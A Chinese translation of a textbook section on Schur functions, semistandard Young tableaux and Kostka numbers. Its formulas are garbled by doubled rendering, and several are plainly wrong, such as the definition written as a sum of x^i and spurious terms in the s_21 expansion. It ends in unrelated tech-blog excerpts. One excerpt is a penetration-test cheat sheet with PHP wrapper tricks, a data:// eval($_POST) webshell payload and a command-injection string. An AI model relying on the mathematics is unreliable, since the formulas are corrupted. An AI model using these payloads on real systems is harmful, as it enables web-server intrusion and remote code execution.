计数组合学7.10(舒尔函数的组合定义)

7.10 舒尔函数的组合定义

前几节讨论的四个基 mλm_{\lambda}mλeλe_{\lambda}eλhλh_{\lambda}hλpλp_{\lambda}pλ 的定义都较为直观。本节将介绍第五个基,其元素记为 sλs_{\lambda}sλ,称为舒尔函数,其定义则更为微妙。实际上,舒尔函数有许多不同的(等价的)定义方式,例如可以通过前述四个基中的任意一个来定义,或通过涉及行列式商的“经典”定义,或通过与正交性和三角化相关的抽象性质,又或通过更高级的代数方法。对于初学者而言,这些定义可能都显得缺乏动机。我们选择通过 mλm_{\lambda}mλ 来定义 sλs_{\lambda}sλ,因为这种方法最具组合性,尽管其他方法也有其独特的优势。当然,最终所有这些方法都会导向相同的理论。

舒尔函数的重要性很大程度上源于它们与数学其他分支的联系,例如表示论和代数几何。我们将在第7.18节讨论其与对称群 Sn\mathfrak{S}_nSn 的表示论的联系,并在附录2中讨论其与一般线性群 GL⁡(n,C)\operatorname{GL}(n, \mathbb{C})GL(n,C) 及相关群的联系。舒尔函数的另一个重要应用(本书未展开)是Schubert演算;Grassmann簇 Gk(Cn)G_{k}(\mathbb{C}^n)Gk(Cn) 的上同调环可以用舒尔函数自然地描述。

对称函数

与舒尔函数相关的基本组合对象是半标准杨表。设 λ\lambdaλ 是一个分划。一个形状为 λ\lambdaλ半标准杨表(SSYT)是一个由正整数构成的数组 T=(Tij)T = (T_{ij})T=(Tij),其形状为 λ\lambdaλ(即 1≤i≤ℓ(λ)1 \leq i \leq \ell(\lambda)1i(λ)1≤j≤λi1 \leq j \leq \lambda_i1jλi),且满足每行弱递增、每列严格递增。半标准杨表的大小是其条目数。以下是一个形状为 (6,5,3,3)(6,5,3,3)(6,5,3,3) 的半标准杨表的例子:

11122322334456667 \begin{array}{cccccc} 1 & 1 & 1 & 2 & 2 & 3 \\ 2 & 2 & 3 & 3 & 4 & \\ 4 & 5 & 6 & & & \\ 6 & 6 & 7 & & & \\ \end{array} 12461256136723243

若 $ T $ 是一个形状为 λ\lambdaλ 的半标准杨表(SSYT),则记 λ=sh(T)\lambda = \text{sh}(T)λ=sh(T)。因此,$ T $ 的大小即为 ∣sh(T)∣|\text{sh}(T)|sh(T)。我们也可以将形状为 λ\lambdaλ 的半标准杨表视为 λ\lambdaλ 的杨图(如第1.7节所定义),其方格中填入了满足特定条件的正整数。例如,上述半标准杨表可表示为:
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若 $ T $ 中有 αi=αi(T)\alpha_i = \alpha_i(T)αi=αi(T) 个部分等于 iii,则称 $ T $ 的类型α=(α1,α2,…)\alpha = (\alpha_1, \alpha_2, \ldots)α=(α1,α2,),记作 α=type(T)\alpha = \text{type}(T)α=type(T)。因此,上述半标准杨表的类型为 (3,1,1,4,4,1,1,0,2)(3, 1, 1, 4, 4, 1, 1, 0, 2)(3,1,1,4,4,1,1,0,2)。对于任何类型为 α\alphaα 的半标准杨表 $ T $(或实际上任何带有额外结构的 P\mathbb{P}P 上的多重集),记

xT=x1α1(T)x2α2(T)⋯ . x^T = x_{1}^{\alpha_1(T)} x_{2}^{\alpha_2(T)} \cdots. xT=x1α1(T)x2α2(T).

对于上述例子,有

xT=x13x2x44x54x6x7x92. x^T = x_{1}^3 x_{2} x_{4}^4 x_{5}^4 x_{6} x_{7} x_{9}^2. xT=x13x2x44x54x6x7x92.

半标准杨表的定义可以自然地推广到对称函数理论中的斜形状。若 λ\lambdaλμ\muμ 是满足 μ⊆λ\mu \subseteq \lambdaμλ(即对所有 iiiμi≤λi\mu_i \leq \lambda_iμiλi)的分划,则定义形状为 λ/μ\lambda / \muλ/μ斜半标准杨表为一个由正整数构成的数组 T=(Tij)T = (T_{ij})T=(Tij),其形状为 λ/μ\lambda / \muλ/μ(即 1≤i≤ℓ(λ)1 \leq i \leq \ell(\lambda)1i(λ)μi<j≤λi\mu_i < j \leq \lambda_iμi<jλi),且满足每行弱递增、每列严格递增。以下是一个形状为 (6,5,3,3)/(3,1)(6, 5, 3, 3)/(3, 1)(6,5,3,3)/(3,1) 的斜半标准杨表的例子:

3441477226388 \begin{array}{cccccc}& & & 3 & 4 & 4\\& 1 & 4 & 7 & 7 \\ 2 & 2 & 6 & & \\ 3 & 8 & 8 & & \\ \end{array} 2312846837474

类似地,可以将形状为 λ\lambdaλ 的杨图的定义推广到形状为 λ/μ\lambda / \muλ/μ 的斜杨图。因此,形状为 (6,5,3,3)/(3,1)(6, 5, 3, 3)/(3, 1)(6,5,3,3)/(3,1) 的斜杨图可表示为:
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因此,形状为 λ/μ\lambda / \muλ/μ 的斜半标准杨表可以视为斜杨图的方格中填入了满足特定条件的正整数,正如“普通形状”(也称为直形状)λ\lambdaλ 的情况。例如,上述形状为 (6,5,3,3)/(3,1)(6, 5, 3, 3)/(3, 1)(6,5,3,3)/(3,1) 的斜半标准杨表可表示为:
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类型 type(T)\text{type}(T)type(T)xTx^TxT 的定义可以直接从普通形状的半标准杨表推广到斜形状的半标准杨表。

现在,我们来到本章的关键定义。如前所述,在进一步深入之前,这个定义看起来完全缺乏动机。

7.10.1 定义

λ/μ\lambda/\muλ/μ 为斜形状。变量 x=(x1,x2,…)x=(x_{1},x_{2},\ldots)x=(x1,x2,) 中形状为 λ/μ\lambda/\muλ/μ斜舒尔函数 sλ/μ=sλ/μ(x)s_{\lambda/\mu}=s_{\lambda/\mu}(x)sλ/μ=sλ/μ(x) 是形式幂级数

sλ/μ(x)=∑i=1nxi,s_{\lambda/\mu}(x)=\sum_{i=1}^{n}x^{i},sλ/μ(x)=i=1nxi,

对所有形状为 λ/μ\lambda/\muλ/μ 的半标准杨表 TTT 求和。若 μ=∅\mu=\emptysetμ= 使得 λ/μ=λ\lambda/\mu=\lambdaλ/μ=λ,则称 sλ(x)s_{\lambda}(x)sλ(x) 为形状 λ\lambdaλ舒尔函数

例如,最大部分不超过 3 的形状 (2,1)(2,1)(2,1) 的半标准杨表为
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因此

s21(x1,x2,x3)=x12x2+x1x22+x12x3+x1x24+x23x3+x2x34+2x1x2x3s_{21}(x_{1},x_{2},x_{3}) = x_{1}^{2}x_{2}+x_{1}x_{2}^{2}+x_{1}^{2}x_{3}+x_{1}x_{2}^{4}+x_{2}^{3}x_{3}+x_{2}x_{3}^{4}+2x_{1}x_{2}x_{3}s21(x1,x2,x3)=x12x2+x1x22+x12x3+x1x24+x23x3+x2x34+2x1x2x3 =m21(x1,x2,x3)+2m111(x1,x2,x3).= m_{21}(x_{1},x_{2},x_{3})+2m_{111}(x_{1},x_{2},x_{3}).=m21(x1,x2,x3)+2m111(x1,x2,x3).

因此,由于 s21s_{21}s21 的每一项中最多出现三个不同的变量,我们有 s21=m21+2m111s_{21}=m_{21}+2m_{111}s21=m21+2m111(作为 Λ\LambdaΛ 的元素,即在无限多变量中的对称函数)。然而,sλ/μs_{\lambda/\mu}sλ/μ 实际上总是对称函数这一点并不显然。

7.10.2 定理

对任意斜形状 λ/μ\lambda/\muλ/μ,斜舒尔函数 sλ/μs_{\lambda/\mu}sλ/μ 是对称函数。

证明:只需证明 [为什么?] sλ/μs_{\lambda/\mu}sλ/μ 在交换 xix_{i}xixi+1x_{i+1}xi+1 时保持不变。设 ∣λ/μ∣=n|\lambda/\mu|=nλ/μ=n,且 α=(α1,α2,…)\alpha=(\alpha_{1},\alpha_{2},\ldots)α=(α1,α2,)nnn 的弱组合。令

α~=(α1,α2,…,αi−1,αi+1,αi,αi+2,…).\tilde{\alpha}=(\alpha_{1},\alpha_{2},\ldots,\alpha_{i-1},\alpha_{i+1},\alpha_{i},\alpha_{i+2},\ldots).α~=(α1,α2,,αi1,αi+1,αi,αi+2,).

Tλ/μ,α~\mathcal{T}_{\lambda/\mu,\tilde{\alpha}}Tλ/μ,α~ 表示所有形状为 λ/μ\lambda/\muλ/μ 且类型为 α\alphaα 的半标准杨表的集合,则我们需要构造一个双射 φ:Tλ/μ,α→Tλ/μ,α~\varphi:\mathcal{T}_{\lambda/\mu,\alpha}\rightarrow\mathcal{T}_{\lambda/\mu,\tilde{\alpha}}φ:Tλ/μ,αTλ/μ,α~

T∈Tλ/μ,αT\in\mathcal{T}_{\lambda/\mu,\alpha}TTλ/μ,α。考虑 TTT 中等于 iiii+1i+1i+1 的部分。TTT 的某些列不包含这些部分,而某些列包含两个这样的部分,即一个 iii 和一个 i+1i+1i+1。这些列我们忽略。其余等于 iiii+1i+1i+1 的部分在每列中出现一次,且由一定数量 rrriii 后跟一定数量 sssi+1i+1i+1 的行组成。(当然,rrrsss 取决于具体的行。)例如,TTT 的一部分可能如下所示。
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在每一行中,将 rrrtttssst+1t+1t+1 转换为 ssstttrrrt+1t+1t+1
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容易看出,得到的数组 φ(T)\varphi(T)φ(T) 属于 Tλ/μ,α~\mathcal{T}_{\lambda/\mu,\tilde{\alpha}}Tλ/μ,α~,且 φ\varphiφ 建立了所需的双射。

λ⊢n\lambda\vdash nλnα\alphaαnnn 的弱组合,则记 Kλμ\mathcal{K}_{\lambda\mu}Kλμ 为形状 λ\lambdaλ 且类型 α\alphaα 的半标准杨表的数量。Kλα\mathcal{K}_{\lambda\alpha}Kλα 称为科斯特卡数(Kostka numbers),在对称函数理论中具有重要作用。根据定义 7.10.1,我们有

sλ=∑αKλαxα,s_{\lambda}=\sum_{\alpha}\mathcal{K}_{\lambda\alpha}x^{\alpha},sλ=αKλαxα,

对所有 nnn 的弱组合 α\alphaα 求和,因此由定理 7.10.2 可得

sλ=∑μ⊢nKλμmμ.(7.35)s_{\lambda}=\sum_{\mu\vdash n}\mathcal{K}_{\lambda\mu}m_{\mu}.\qquad\qquad\qquad\qquad(7.35) sλ=μnKλμmμ.(7.35)

更一般地,我们可以定义斜科斯特卡数 Kλ/ν,α\mathcal{K}_{\lambda/\nu,\alpha}Kλ/ν,α 为形状 λ/ν\lambda/\nuλ/ν 且类型 α\alphaα 的半标准杨表的数量,因此若 ∣λ/ν∣=n|\lambda/\nu|=nλ/ν=n,则

sλ/ν=∑μ⊢nKλ/ν,μmμ.(7.36)s_{\lambda/\nu}=\sum_{\mu\vdash n}\mathcal{K}_{\lambda/\nu,\mu}m_{\mu}.\qquad\qquad\qquad\qquad(7.36) sλ/ν=μnKλ/ν,μmμ.(7.36)

目前尚未找到 Kλ/ν,μ\mathcal{K}_{\lambda/\nu,\mu}Kλ/ν,μ 或甚至 Kλμ\mathcal{K}_{\lambda\mu}Kλμ 的通用简单公式,且此类公式存在的可能性较低。对于某些特定的 λ\lambdaλν\nuνμ\muμ,可以给出公式,其中最重要的是 ν=∅\nu=\emptysetν=μ=(1n)\mu=(1^{n})μ=(1n) 的情况。虽然我们将在后续内容中给出此公式(推论 7.21.6),但让我们更详细地探讨数 Kλ,1n\mathcal{K}_{\lambda,1^{n}}Kλ,1n(也记作 fλf^{\lambda}fλ)的含义。组合意义。根据定义,fλf^{\lambda}fλ 是将数字 1,2,…,n1,2,\ldots,n1,2,,n 插入形状 λ⊢n\lambda\vdash nλn 的方式数,每个数字恰好出现一次,且每行每列严格递增。这样的数组称为形状 λ\lambdaλ标准杨表(SYT)(或简称标准表)。例如,形状 (3,2)(3,2)(3,2) 的标准杨表为
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因此 f(3,2)=5f^{(3,2)}=5f(3,2)=5。数 fλf^{\lambda}fλ 还有几种其他组合解释,如下述命题所示。

7.10.3 命题

λ∈Par\lambda \in \text{Par}λPar。则数 fλf^\lambdafλ 枚举以下 (a)-(e) 项中的对象。我们以 λ=(3,2)\lambda = (3, 2)λ=(3,2) 为例说明这些对象。

(a) (分划链) Young 格 YYY 的区间 [∅,λ][\emptyset, \lambda][,λ] 中的饱和链,等价地,满足 λi\lambda^iλiλi−1\lambda^{i-1}λi1 添加单个方格得到的分划序列 ∅=λ0⊂λ1⊂⋯⊂λn=λ\emptyset = \lambda^0 \subset \lambda^1 \subset \cdots \subset \lambda^n = \lambda=λ0λ1λn=λ 的数量(我们将分划与其图示视为等同):
∅⊂1⊂2⊂3⊂31⊂32∅⊂1⊂2⊂21⊂31⊂32∅⊂1⊂2⊂21⊂22⊂32∅⊂1⊂11⊂21⊂31⊂32∅⊂1⊂11⊂21⊂22⊂32 \begin{aligned} &\emptyset \subset 1 \subset 2 \subset 3 \subset 31 \subset 32 \\ &\emptyset \subset 1 \subset 2 \subset 21 \subset 31 \subset 32 \\ &\emptyset \subset 1 \subset 2 \subset 21 \subset 22 \subset 32 \\ &\emptyset \subset 1 \subset 11 \subset 21 \subset 31 \subset 32 \\ &\emptyset \subset 1 \subset 11 \subset 21 \subset 22 \subset 32 \end{aligned} 12331321221313212212232111213132111212232

(b) (线性扩张)PλP_\lambdaPλ 是偏序集,其元素为 λ\lambdaλ 图示的方格,若 ttt 位于 sss 正右方或正下方(中间无其他方格)则 ttt 覆盖 sss。此类偏序集即为 N×N\mathbb{N} \times \mathbb{N}N×N 的有限序理想。则 fλ=e(Pλ)f^\lambda = e(P_\lambda)fλ=e(Pλ),即 PλP_\lambdaPλ 的线性扩张数。
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© (投票序列) nnn 位选民依次为候选人 A1,A2,…A_1, A_2, \ldotsA1,A2, 投票的方式,使得对任意 iiiAiA_iAi 获得 λi\lambda_iλi 票,且 AiA_iAi 的得票数始终不低于 Ai+1A_{i+1}Ai+1(记此类投票序列为 a1a2⋯ana_1 a_2 \cdots a_na1a2an,其中第 kkk 位选民投票给 AakA_{a_k}Aak)。
1112211212112211211212121 11122 \quad 11212 \quad 11221 \quad 12112 \quad 12121 1112211212112211211212121

(d) (格排列) 序列 a1a2⋯ana_1 a_2 \cdots a_na1a2an 满足:iii 出现 λi\lambda_iλi 次,且对任意左因子 a1a2⋯aja_1 a_2 \cdots a_ja1a2ajiii 的出现次数不小于 i+1i+1i+1 的出现次数(对所有 iii)。此类序列称为 λ\lambdaλ 型的格排列(或称 Yamanouchi 词或投票序列)。
1112211212112211211212121 11122 \quad 11212 \quad 11221 \quad 12112 \quad 12121 1112211212112211211212121

(e) (格路径) Rℓ\mathbb{R}^\ellRℓ=ℓ(λ)\ell = \ell(\lambda)=(λ))中从原点 v0v_0v0vn=(λ1,λ2,…,λℓ)v_n = (\lambda_1, \lambda_2, \ldots, \lambda_\ell)vn=(λ1,λ2,,λ) 的格路径 0=v0,v1,…,vn0 = v_0, v_1, \ldots, v_n0=v0,v1,,vn,每步为单位坐标向量,且保持在区域 x1≥x2≥⋯≥xℓ≥0x_1 \geq x_2 \geq \cdots \geq x_\ell \geq 0x1x2x0 内。
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证明
(a) 将 iii 插入到 λi−1\lambda^{i-1}λi1 新增的方格中得到 λi\lambda^iλi,从而构造出形状为 λ\lambdaλ 的标准杨表。

(b) Young 格 YYY 中的区间 [∅,λ][\emptyset,\lambda][,λ] 即为 J(Pλ)J(P_\lambda)J(Pλ)PλP_\lambdaPλ 的序理想格),因此 fλf^\lambdafλ 的 (a) 和 (b) 两种解释的等价性实为命题 3.5.2 后续讨论的特例。

© 若第 kkk 位投票者投票给 AiA_iAi,则将 kkk 置于形状 λ\lambdaλ 的第 iii 行。

(d) 显然 © 中的投票序列与 (d) 中的格排列完全相同。

(e) 若 a1a2⋯ana_1a_2\cdots a_na1a2an 是 (d) 中的格排列,令 vi−vi−1v_i-v_{i-1}vivi1 为第 aia_iai 个单位坐标向量(即第 aia_iai 位为 1 其余为 0 的向量)可得到格路径。或者,(b) 与 (e) 的等价性是例 3.5.3 前讨论的特例。

上述五种解释均可直接推广至斜情形 fλ/μf^{\lambda/\mu}fλ/μ。具体细节留给感兴趣的读者。

在处理舒尔函数、Kostka数等问题时,有时使用行和列递减的数组比半标准杨表(SSYT)更为方便。定义形状为λ/μ\lambda/\muλ/μ的反向半标准杨表(reverse SSYT)或列严格平面划分(简称costripp)为一个正整数数组,其形状为λ/μ\lambda/\muλ/μ,满足行弱递减且列严格递减。反向半标准杨表的类型α\alphaα的定义与普通半标准杨表相同。例如:
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这是一个形状为(6,5,3,3)/(3,1)(6,5,3,3)/(3,1)(6,5,3,3)/(3,1)、类型为(2,2,1,0,3,2,2,1)(2,2,1,0,3,2,2,1)(2,2,1,0,3,2,2,1)的反向半标准杨表。

值得提及一种与半标准杨表等价的组合对象。Gelfand-Tsetlin模式(有时简称为Gelfand模式)或完全分支是一个非负整数的三角数组GGG,形如:
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满足当所有三个数都有定义时,aij≤ai+1,j+1≤ai,j+1a_{ij} \leq a_{i+1,j+1} \leq a_{i,j+1}aijai+1,j+1ai,j+1。换言之,GGG的行是弱递增的,且ai+1,j+1a_{i+1,j+1}ai+1,j+1位于其上方两个相邻数之间(含端点)。例如:
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给定(7.37)式的Gelfand-Tsetlin模式GGG,令λi\lambda^iλiGGG的第iii行逆序排列。通过将n−i+1n-i+1ni+1插入斜形状λi/λi+1\lambda^i/\lambda^{i+1}λi/λi+1的方格中,定义表格T=T(G)T=T(G)T=T(G)。对于上述例子,T(G)T(G)T(G)为:
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我们得到一个形状为λ1\lambda^1λ1GGG的第一行逆序)、最大部分不超过nnn的半标准杨表。这种具有固定第一行α\alphaα(长度为nnn)的Gelfand-Tsetlin模式与形状为α′\alpha'αα\alphaα的逆序)、最大部分不超过nnn的半标准杨表之间的对应关系,显然是一个双射。

定义K^λ/μ,α\hat{K}_{\lambda/\mu,\alpha}K^λ/μ,α为形状λ/μ\lambda/\muλ/μ、类型α\alphaα的反向半标准杨表的数量。下一个命题表明,在许多情况下,普通半标准杨表与反向半标准杨表并无本质区别。

7.10.4 命题

λ/μ\lambda/\muλ/μnnn 的斜分划,α\alphaαnnn 的弱组合。则 K^λ/μ,α=Kλ/μ,α\hat{K}_{\lambda/\mu,\alpha} = K_{\lambda/\mu,\alpha}K^λ/μ,α=Kλ/μ,α

证明:设 TTT 为形状 λ/μ\lambda/\muλ/μ、类型 α=(α1,α2,…)\alpha=(\alpha_1,\alpha_2,\ldots)α=(α1,α2,) 的反向半标准杨表,kkkTTT 的最大部分。变换 Tij↦k+1−TijT_{ij} \mapsto k+1-T_{ij}Tijk+1Tij 表明 K^λ/μ,α=Kλ/μ,α\hat{K}_{\lambda/\mu,\alpha} = K_{\lambda/\mu,\alpha}K^λ/μ,α=Kλ/μ,α,其中 α=(αk,αk−1,…,α1,0,0,…)\alpha=(\alpha_k,\alpha_{k-1},\ldots,\alpha_1,0,0,\ldots)α=(αk,αk1,,α1,0,0,)。由定理 7.10.2 知 Kλ/μ,α=Kλ/μ,αK_{\lambda/\mu,\alpha} = K_{\lambda/\mu,\alpha}Kλ/μ,α=Kλ/μ,α,证毕。

7.10.5 命题

μ\muμλ\lambdaλ 为满足 ∣μ∣=∣λ∣|\mu|=|\lambda|μ=λKλμ≠0K_{\lambda\mu}\neq 0Kλμ=0 的分划。则 μ≤λ\mu \leq \lambdaμλ(支配序),且 Kλλ=1K_{\lambda\lambda}=1Kλλ=1

证明:若 Kλμ≠0K_{\lambda\mu} \neq 0Kλμ=0,则存在形状 λ\lambdaλ、类型 μ\muμ 的半标准杨表 TTT。假设某元素 Tij=kT_{ij}=kTij=k 出现在第 kkk 行下方(即 i>ki>ki>k),则对 i>ki>ki>k1≤T1k<T2k<⋯<Tik=k1 \leq T_{1k} < T_{2k} < \cdots < T_{ik}=k1T1k<T2k<<Tik=k,矛盾。故部分 1,2,…,k1,2,\ldots,k1,2,,k 均在前 kkk 行出现,因此 μ1+μ2+⋯+μk≤λ1+λ2+⋯+λk\mu_1+\mu_2+\cdots+\mu_k \leq \lambda_1+\lambda_2+\cdots+\lambda_kμ1+μ2++μkλ1+λ2++λk。当 μ=λ\mu=\lambdaμ=λ 时必有 Tij=iT_{ij}=iTij=i(对所有 (i,j)(i,j)(i,j)),故 Kλλ=1K_{\lambda\lambda}=1Kλλ=1

7.10.6 推论

舒尔函数 {sλ:λ∈Par(n)}\{s_\lambda : \lambda \in \text{Par}(n)\}{sλ:λPar(n)} 构成 Λn\Lambda^nΛn 的基,从而 {sλ:λ∈Par}\{s_\lambda : \lambda \in \text{Par}\}{sλ:λPar}Λ\LambdaΛ 的基。事实上,对于任意扩张支配序的 Par(n)\text{Par}(n)Par(n) 线性序,表达 sλs_\lambdasλ 关于 mμm_\mumμ 的转移矩阵 (Kλμ)(K_{\lambda\mu})(Kλμ) 是主对角线为 1 的下三角矩阵。

证明:命题 7.10.5 等价于关于 (Kλμ)(K_{\lambda\mu})(Kλμ) 的断言。因主对角线为 1 的下三角矩阵可逆,故 {sλ}\{s_\lambda\}{sλ}Λn\Lambda^nΛnQ\mathbb{Q}Q-基。
注:实际上 {sλ}\{s_\lambda\}{sλ} 也是 ΛZn\Lambda^n_{\mathbb{Z}}ΛZnZ\mathbb{Z}Z-基,因每个 Kλλ=1K_{\lambda\lambda}=1Kλλ=1(而非仅 Kλλ≠0K_{\lambda\lambda}\neq 0Kλλ=0)。

后续章节将建立舒尔函数的基础理论,包括:

  • sλs_\lambdasλ 与基 mλm_\lambdamλ, hλh_\lambdahλ, eλe_\lambdaeλ, pλp_\lambdapλ 间的转移矩阵
  • 与内积 ⟨,⟩\langle , \rangle, 及自同构 ω\omegaω 的联系
    (虽已通过定义考察 (Kλμ)(K_{\lambda\mu})(Kλμ),但尚未知逆矩阵形式)
  • 对称函数理论的计数应用:
    • 平面划分的枚举
    • 置换统计量的结果
    • Polya 群作用计数理论

下表为 Kostka 数 KλμK_{\lambda\mu}Kλμ 的简表。
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大家好&#xff0c;如果大家对 Solana 开发充满好奇&#xff0c;但又对 Rust 语言感到陌生&#xff0c;那么大家来对地方了。很多人在探索 Solana 这条高性能公链时&#xff0c;遇到的第一个门槛就是其原生开发语言——Rust。Rust 以其高性能和内存安全著称&#xff0c;但学习曲…

node.js之Koa框架

Koa框架介绍Koa 是一个新的 web 框架&#xff0c;由 Express 原班人马打造&#xff0c;致力于成为一个更小、更富有表现力、更健壮的 Web 框架。Koa 解决了 Express 存在的一些问题&#xff0c;例如&#xff1a;中间件嵌套回调&#xff08;callback hell&#xff09;错误处理不…

C/C++离线环境安装(VSCode + MinGW)

因为工作需要部署离线C环境&#xff0c;网上有许多大佬分享了不错的教程&#xff0c;总结一篇完整教程自用&#xff0c;使用VSCode MinGW感谢一、安装准备二、软件安装1.安装MinGW2.安装VSCode及插件三、测试环境1.创建工程文件夹2.创建cpp文件总结感谢 本教程参考了以下教程…

如何创建一个飞书应用获取自己的飞书AppID和AppSecret?

这篇文章是接下来要开发「监控 X&#xff08;原Twitter&#xff09;博主账号最新推文」 自动化工作流的先导文章&#xff0c;由于内容相对独立&#xff0c;也可用于飞书应用的其他场景&#xff0c;故单独发出来&#xff0c;方便查阅。 监控X平台指定博主最新发文&#xff0c;需…

Prompt工程记录

Prompt基本建议&#xff1a;1.在查询中包含详细信息以获得更相关的答案总结会议笔记:先将会议笔记总结为一段&#xff0c;然后写一份演讲者的打分表&#xff0c;列出他们的每个要点&#xff1b;最后列出发言者建议的下一步行动或者行动项目&#xff08;如果有的话&#xff09;2…

CTE公用表表达式的可读性与性能优化

一、可读性优化CTE通过WITH子句定义临时命名结果集&#xff0c;将复杂查询分解为逻辑独立的模块&#xff0c;显著提升代码清晰度与可维护性‌&#xff1a;‌解构嵌套查询‌&#xff1a;将多层嵌套的子查询扁平化&#xff0c;例如传统嵌套统计订单的查询可重构为分步CTE&#xf…

8.1.2 TiDB存储引擎的原理

TiDB 简介 TiDB 是 PingCAP 公司自主设计、研发的开源分布式关系型数据 库&#xff0c;是一款同时支持在线事务处理与在线分析处理 (Hybrid Transactional and Analytical Processing, HTAP) 的融合型分布 式数据库产品&#xff0c;具备水平扩容或者缩容、金融级高可用、实时 …

PTE之路--01

空格绕过:/**/ URL编码伪协议:pagezip://xxx/xx/x/x/xxx.jpg%23解压后的名字pagephar://xxx/xx/x/x/xxx.jpg/解压后的名字pageddata://ata://text/plain,<?php eval($_POST[x]) ;?>pagedata://text/plain,<?php eval($_POST[x]) ;?>127.0.0.1 | grep . ../key…

企业级日志分析系统ELK

1.什么是 Elastic Stack 如果系统和应用出现异常和问题,相关的开发和运维人员想要排查原因,就要先登录到应用运行所相应的主机,找到上面的相关日志文件再进行查找和分析,所以非常不方便,此外还会涉及到权限和安全问题,而ELK 的出现就很好的解决这一问题。 ELK 是由一家 …

ai项目多智能体

手把手教你构建一个 本地化的&#xff0c;免费的&#xff0c;企业级的&#xff0c;AI大模型知识库问答系统 - 网旭哈瑞.AI 体验 AutoGen Studio - 微软推出的友好多智能体协作框架_autogenstudio-CSDN博客 AutoGen Studio: Interactively Explore Multi-Agent Workflows | Au…

【HTML】浅谈 script 标签的 defer 和 async

The async and defer attributes are boolean attributes that indicate how the script should be evaluated. There are several possible modes that can be selected using these attributes, depending on the script’s type. async 和 defer 属性是布尔属性&#xff0c;…

Kafka Streams 并行处理机制深度解析:任务(Task)与流线程(Stream Threads)的协同设计

在构建实时流处理应用时&#xff0c;如何充分利用计算资源同时保证处理效率是一个关键问题。Kafka Streams 通过其独特的任务(Task)和流线程(Stream Threads)并行模型&#xff0c;为开发者提供了既简单又强大的并行处理能力。本文将深入解析 Kafka Streams 中任务与线程的协同工…

使用 Docker 部署 Label Studio 时本地文件无法显示的排查与解决

目录 使用 Docker 部署 Label Studio 时本地文件无法显示的排查与解决 1. 背景 2. 问题现象 3. 排查步骤 3.1 确认文件是否存在 3.2 检查环境变量配置 4. 解决方案 方法一&#xff1a;修改 Sync Storage 路径&#xff08;相对路径&#xff09; 方法二&#xff1a;修改…

ElasticJob怎么使用?

我们使用ElasticJob需要以下步骤&#xff1a; 1. 添加依赖 2. 配置任务&#xff08;可以使用Spring命名空间配置或Java配置&#xff09; 3. 实现任务逻辑&#xff08;实现SimpleJob、DataflowJob等接口&#xff09; 4. 启动任务 下面是一个详细的示例&#xff0c;包括Spring Bo…

TCP协议的特点和首部格式

文章目录TCP协议是什么&#xff1f;TCP协议的主要特点1. 面向连接2. 可靠传输3. 流量控制4. 拥塞控制TCP首部格式源端口和目标端口&#xff08;各16位&#xff09;序列号&#xff08;32位&#xff09;确认号&#xff08;32位&#xff09;数据偏移&#xff08;4位&#xff09;保…